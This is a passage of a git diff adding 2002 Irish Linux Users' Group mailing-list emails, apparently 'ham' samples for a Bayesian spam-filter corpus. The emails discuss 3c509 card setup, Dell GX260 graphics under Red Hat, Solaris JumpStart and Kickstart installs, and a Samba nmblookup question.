+X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028918060.73e31e@ie.suberic.net, + cout@eircom.net, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Aug 04, 2002 at 06:55:49PM +0100, cout@eircom.net wrote: +> You need to run the dos setup program for the 3c509 and turn off plug 'n' play in the card's firmware I think you will find. + +or you could: + + a) make your lines less then 80 chars. + b) not top-post. + c) visit http://www.scyld.com/diag/ and turn off plug and play + from a linux setup program. + d) all of the above. + moron) do none of the above. + +just a thought... + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00257.2bebb97cf4031fcf184da6a5df5e979c b/bayes/spamham/easy_ham_2/00257.2bebb97cf4031fcf184da6a5df5e979c new file mode 100644 index 0000000..8063d75 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00257.2bebb97cf4031fcf184da6a5df5e979c @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AA193441EE + for ; Tue, 6 Aug 2002 06:48:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g74LP7v09704 for + ; Sun, 4 Aug 2002 22:25:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA06212; Sun, 4 Aug 2002 22:22:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA06171 for ; + Sun, 4 Aug 2002 22:22:48 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17bSpp-0000QO-00 for ; Sun, 04 Aug 2002 14:22:45 -0700 +Date: Sun, 4 Aug 2002 14:22:43 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] 3c509 & 2.4.19 problems +Message-Id: <20020804212242.GD13849@linuxmafia.com> +References: <200208041756.SAA31063@lugh.tuatha.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <200208041756.SAA31063@lugh.tuatha.org> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting cout@eircom.net (cout@eircom.net): + +> You need to run the dos setup program for the 3c509 and turn off plug +> 'n' play in the card's firmware I think you will find. + +As Kevin said, the problem can reputedly be solved using Donald Becker's +Linux-native utilities for the 3C5X9 series. Turn off PnP, and then set +the IRQ and I/O base address as required. Make sure those are also +made available in the motherboard BIOS Setup program to "Legacy ISA +devices" or whatever it's called, there. + +-- +Cheers, "It ain't so much the things we don't know that get us +Rick Moen in trouble. It's the things we know that ain't so." +rick@linuxmafia.com -- Artemus Ward (1834-67), U.S. journalist + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00258.3f5bcbda6db0cfc769cd544cff0e21e9 b/bayes/spamham/easy_ham_2/00258.3f5bcbda6db0cfc769cd544cff0e21e9 new file mode 100644 index 0000000..852b3dc --- /dev/null +++ b/bayes/spamham/easy_ham_2/00258.3f5bcbda6db0cfc769cd544cff0e21e9 @@ -0,0 +1,100 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1B6DF441F0 + for ; Tue, 6 Aug 2002 06:48:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g75Mb9k29691 for + ; Mon, 5 Aug 2002 23:37:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA30098; Mon, 5 Aug 2002 23:34:39 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA30061 for ; + Mon, 5 Aug 2002 23:34:31 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 795A62B330 for ; + Mon, 5 Aug 2002 23:33:57 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2623) id 54D7AE956; + Mon, 5 Aug 2002 23:33:57 +0100 (IST) +Date: Mon, 5 Aug 2002 23:33:57 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 +Message-Id: <20020805223356.GA26632@csn.ul.ie> +Mail-Followup-To: deccy@csn.ul.ie, ilug@linux.ie +References: <653270E74A8DD31197AF009027AA4F8B01845F1A@LIMXMMF303> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <653270E74A8DD31197AF009027AA4F8B01845F1A@LIMXMMF303> +User-Agent: Mutt/1.3.24i +From: deccy@csn.ul.ie (Declan Houlihan) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Yea, I tried the VESA driver but it doesn't seem to want to work, +it's kinda weird actually, when I run Xconfigurator, the test +comes up ok sometimes but when I try to load X it won't come +up at all. + +I read the intel page, I think I'll just throw this on the back burner +until intel bring out a driver for this. + +Thanks for your help though. + +On Fri, Aug 02, 2002 at 03:19:53AM -0500, Stephen_Reilly@dell.com wrote: +> >> I swear to god you have to be so carefull with dell machines +> >> and linux. +> ... +> >> to have some cheapo piece of hardware (eth card, modem, +> >> sound, graphics ) +> >> that is incompatable/unsupported. +> ... +> >> with some crap +> >> dell machine that +> yes, yes, all terribly insightful and extremely useful information. +> +> > We just got some new Dell GX260 machines here are work and +> > I'm supposed to +> > be putting Linux on them. I tried installing RedHat 7.3. It +> > just didn't want +> > to know about the graphics card. I's an onboard Intel DVMT chip. No +> > dedicated memory, it takes it from the onboard RAM. +> The onboard DVMT card has an Intel 845 G/GL chipset. +> http://www.intel.com/support/graphics/linux/ or +> http://www.intel.com/support/graphics/intel845g/linux.htm has more specific +> information. There is help available there. +> +> I also found somewhere (not through personal experience though) that +> 2.4.19-pre10ac2 includes drivers for the chipset ? +> +> Steve +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie + +-- +--------------------------------------- +Declan Houlihan +deccy@csn.ul.ie +http://deccy.csn.ul.ie/ +--------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00259.977d4930f990d0c5b68b362a33b14d5f b/bayes/spamham/easy_ham_2/00259.977d4930f990d0c5b68b362a33b14d5f new file mode 100644 index 0000000..89e63be --- /dev/null +++ b/bayes/spamham/easy_ham_2/00259.977d4930f990d0c5b68b362a33b14d5f @@ -0,0 +1,105 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F3484441CE + for ; Tue, 6 Aug 2002 06:48:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g75Mksk30112 for + ; Mon, 5 Aug 2002 23:46:54 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA30571; Mon, 5 Aug 2002 23:44:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA30537 for ; + Mon, 5 Aug 2002 23:44:26 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 8BB232B31D for ; + Mon, 5 Aug 2002 23:43:55 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2623) id 6C79CE956; + Mon, 5 Aug 2002 23:43:55 +0100 (IST) +Date: Mon, 5 Aug 2002 23:43:55 +0100 +To: ilug@linux.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 +Message-Id: <20020805224355.GB26632@csn.ul.ie> +Mail-Followup-To: deccy@csn.ul.ie, ilug@linux.ie +References: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> +User-Agent: Mutt/1.3.24i +From: deccy@csn.ul.ie (Declan Houlihan) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +This is the problem, it's not the people who buy the machine that +end up installing on it. + +We're actually investigating switching from Sparc/Solaris to +Intel/Linux. I would much prefer to be using Linux at work +so I'm pushing for this. It definately doesn't help when +you're given a bog standard Dell box and linux won't work +with the graphics card on it. + +At the moment at work, if we want a new workstation, we just +buy whatever Sun's latest system is, we jumpstart it, and +that's it, it's up and running. +Basically the whole installation procedure is +"boot net - install" +This is exactly what you need when you are administering a large +group of workstations. You don't have the time to check dells +website every time you want to buy a machine, you'd spend +your life on Dells website and messing around with drivers +and compiling new versions of X. That's fine if you've got +one machine at home, hey, I've done it myself, but +when working with a large bunch of systems, it's impossible. + + +On Fri, Aug 02, 2002 at 04:02:38AM -0500, Stephen_Reilly@dell.com wrote: +> > bad thing. Just a bad thing for those that hope a distro will +> > work out of +> > the box. +> +> It's still quite easy to find out, pre-purchase, what components if +> any are going to give you problems with a specific distribution/version. +> With Dell just check the support.dell.com site, match the system, look for +> downloadable drivers. From these if there aren't any linux drivers you can +> usually find out the chipset of each device. Plug them into google with +> "linux" and see what people have to say about them. Generally speaking when +> you buy the system you'll be told the make/model of each device rather than +> the chipset, so further investigation is necessary. +> +> The cavaet, of course, is always to know exactly what you're buying. +> In most people's cases unfortunately it's not the person who bought the +> systems that will be configuring them. +> +> steve +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie + +-- +--------------------------------------- +Declan Houlihan +deccy@csn.ul.ie +http://deccy.csn.ul.ie/ +--------------------------------------- + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00260.20f2278a021f28b2d5f18b13b6e19c4b b/bayes/spamham/easy_ham_2/00260.20f2278a021f28b2d5f18b13b6e19c4b new file mode 100644 index 0000000..dab5674 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00260.20f2278a021f28b2d5f18b13b6e19c4b @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1A4A8441DB + for ; Tue, 6 Aug 2002 06:48:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:32 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g75N6Fk30644 for + ; Tue, 6 Aug 2002 00:06:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id AAA31419; Tue, 6 Aug 2002 00:04:21 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id AAA31386 for ; + Tue, 6 Aug 2002 00:04:14 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17bqtY-0001ep-00; Mon, 05 Aug 2002 16:04:12 -0700 +Date: Mon, 5 Aug 2002 16:04:12 -0700 +To: ilug@linux.ie +Cc: deccy@csn.ul.ie +Subject: Re: [ILUG] Dell GX260 V Redhat 7.3 +Message-Id: <20020805230412.GJ5507@linuxmafia.com> +References: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020805224355.GB26632@csn.ul.ie> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Declan Houlihan (deccy@csn.ul.ie): + +> We're actually investigating switching from Sparc/Solaris to +> Intel/Linux. I would much prefer to be using Linux at work +> so I'm pushing for this. It definately doesn't help when +> you're given a bog standard Dell box and linux won't work +> with the graphics card on it. + +(1) Quibble: For values of "work" limited to X11, not console support. + +(2) Decent substitute graphics cards with well-tested XFree86 support +are cheap. Swap the problematic one out, and save it for some other +workstation later. For that matter, somebody with a Win32 system +containing such a card might be ecstatic over the opportunity to swap. + +(3) Welcome to the Linux world, where we've known for... oh... about +eleven years that you fail to research chipsets before installation at +your peril. + +-- +Cheers, The difference between common sense and paranoia is that common sense +Rick Moen is thinking everyone is out to get you. That's normal; they are. +rick@linuxmafia.com Paranoia is thinking they're conspiring. -- J. Kegler + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00261.ace6274eeb78df574eed018a0a87a7ea b/bayes/spamham/easy_ham_2/00261.ace6274eeb78df574eed018a0a87a7ea new file mode 100644 index 0000000..5cc12cd --- /dev/null +++ b/bayes/spamham/easy_ham_2/00261.ace6274eeb78df574eed018a0a87a7ea @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACEE8441F2 + for ; Tue, 6 Aug 2002 06:48:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:33 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g769Hwk20401 for + ; Tue, 6 Aug 2002 10:17:58 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA20506; Tue, 6 Aug 2002 10:15:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from relay01.esat.net (relay01.esat.net [192.111.39.11]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id KAA20468 for ; + Tue, 6 Aug 2002 10:15:33 +0100 +Received: from www.emuse.ie (hassle.emuse.ie) [193.120.145.154] by + relay01.esat.net with esmtp id 17c0RA-0005Am-00; Tue, 06 Aug 2002 10:15:32 + +0100 +Received: by HASSLE with Internet Mail Service (5.5.2653.19) id ; + Tue, 6 Aug 2002 10:16:01 +0100 +Message-Id: <5FE418B3F962D411BED40000E818B33C9C8E9E@HASSLE> +From: "Hunt, Bryan" +To: "Ilug (E-mail)" +Date: Tue, 6 Aug 2002 10:15:58 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Subject: [ILUG] nmblookup question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hello all, +I'm trying to get wins name resolution across subnets working and reckon the +first step is to be +able to do a nmblookup without using the -B (broadcast address flag). Does +anyone know how +samba can be configured to do broadcasts to subnets other than just the +local subnet. +I don't think this has anything to do with the remote announce parameter. + +Thanks +Bryan + + +"And the smoke of their torment ascendeth up for ever and ever: and they +have no rest day nor night, +who worship the beast and his image, and whosoever receiveth the mark of his +name." +(Revelation 14:11) + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00262.caab5fc07afcb77ff5d760ed677b4aec b/bayes/spamham/easy_ham_2/00262.caab5fc07afcb77ff5d760ed677b4aec new file mode 100644 index 0000000..b08dd52 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00262.caab5fc07afcb77ff5d760ed677b4aec @@ -0,0 +1,89 @@ +From ilug-admin@linux.ie Tue Aug 6 11:54:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DFCB4441F1 + for ; Tue, 6 Aug 2002 06:48:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 11:48:32 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g768qkk19412 for + ; Tue, 6 Aug 2002 09:52:46 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA19567; Tue, 6 Aug 2002 09:50:18 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com + [216.136.173.57]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id JAA19543 + for ; Tue, 6 Aug 2002 09:50:12 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 6 Aug 2002 08:50:10 -0000 +Message-Id: <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Declan Houlihan" , +References: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> +Date: Tue, 6 Aug 2002 09:46:27 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Subject: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Declan Houlihan mentioned: +> We're actually investigating switching from Sparc/Solaris to +> Intel/Linux. + +And then: +> At the moment at work, if we want a new workstation, we just +> buy whatever Sun's latest system is, we jumpstart it, and +> that's it, it's up and running. + +Well, why not try Linux on Sparc. It works pretty well and I have not had +major issues with it. There are minor problems: like the serial console +drivers, but for workstation installs I suspect it will work fine. + +And you get a working version of your favourite KDE/Gnome desktop instead of +DTE, uhm, I mean CDE. + +> Basically the whole installation procedure is +> "boot net - install" + +Well, you have to add the workstation to the install server first. + +Talking of which, you can install Sparc Linux using this technique as well. +The image takes a while to load, but once this is done you can install in +the normal fashion. + +SuSe for Sparc works fine. I am using Debian because the Sun boxen I have +subverted do not have graphics consoles. It also just works. + +If you have a spare workstation, I am sure I could burn a couple of CD's for +you. (If I can find them.) + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00263.84321935c6f5a34e6a124bbd64b9b5c7 b/bayes/spamham/easy_ham_2/00263.84321935c6f5a34e6a124bbd64b9b5c7 new file mode 100644 index 0000000..cad8e3f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00263.84321935c6f5a34e6a124bbd64b9b5c7 @@ -0,0 +1,83 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 575B344142 + for ; Tue, 6 Aug 2002 08:48:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:32 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76C92k27211 for + ; Tue, 6 Aug 2002 13:09:02 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA28072; Tue, 6 Aug 2002 13:07:02 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id NAA28027 for ; Tue, + 6 Aug 2002 13:06:54 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id NAA29236 for ; Tue, + 6 Aug 2002 13:06:24 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g76C6vQ11788 for ilug@linux.ie; Tue, 6 Aug 2002 13:06:57 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Tue, 6 Aug 2002 13:06:57 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Message-Id: <20020806120656.GP14040@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> + <20020806125617.F17211@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020806125617.F17211@ie.suberic.net> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 06, 2002 at 12:56:17PM +0100, kevin lyda mentioned: +> sorry, i missed this. redhat supplies something similar called kickstart +> (guess who inspired them?). pc hardware is dumb, so you'll need to use +> a floppy. otoh, every jumpstart config i've seen required rarp plus +> plugging the new box's ethernet+ip into a file. a kickstart boot can +> just use a dhcp server. + + I've just been re-aquainted with the Jumpstart stuff after a long +absence. + + There is a nice need 'add_install_client' script that you feed the +archtecture, ethernet address & ip to, and it'll setup everything from +RARP to Bootparams for you. Very simple. + + This script takes a -d option, to boot via DHCP also. On the negative +side, Sun's terminal handling leaves a lot to be desired - it won't work +properly on a Wyse 120+ for instance, no matter what emulation mode the +Wyse is trying to do. + + To do PC netbooting properly, you need an motherbard with a PXE BIOS. +Then you are flying. + + Heh, how hard would it be to get a PC with an OpenBoot prom ? + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00264.9552e74929dc9ef75aa7ea8b57d527fe b/bayes/spamham/easy_ham_2/00264.9552e74929dc9ef75aa7ea8b57d527fe new file mode 100644 index 0000000..7273d66 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00264.9552e74929dc9ef75aa7ea8b57d527fe @@ -0,0 +1,79 @@ +From ilug-admin@linux.ie Tue Aug 6 13:58:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6FC0144141 + for ; Tue, 6 Aug 2002 08:48:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 13:48:31 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g76Bxok26589 for + ; Tue, 6 Aug 2002 12:59:50 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA27510; Tue, 6 Aug 2002 12:56:27 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA27475 for ; + Tue, 6 Aug 2002 12:56:20 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g76BuJY17612 for ; + Tue, 6 Aug 2002 12:56:19 +0100 +Date: Tue, 6 Aug 2002 12:56:17 +0100 +To: Matthew French +Cc: Declan Houlihan , ilug@linux.ie +Subject: Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3) +Message-Id: <20020806125617.F17211@ie.suberic.net> +References: <653270E74A8DD31197AF009027AA4F8B01845F1B@LIMXMMF303> + <20020805224355.GB26632@csn.ul.ie> + <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <001501c23d25$c21ba0b0$3864a8c0@sabeo.ie>; from + mfrench42@yahoo.co.uk on Tue, Aug 06, 2002 at 09:46:27AM +0100 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1029066978.898607@ie.suberic.net, + mfrench42@yahoo.co.uk, deccy@csn.ul.ie, ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Tue, Aug 06, 2002 at 09:46:27AM +0100, Matthew French wrote: +> Declan Houlihan mentioned: +> > We're actually investigating switching from Sparc/Solaris to +> > Intel/Linux. +> +> And then: +> > At the moment 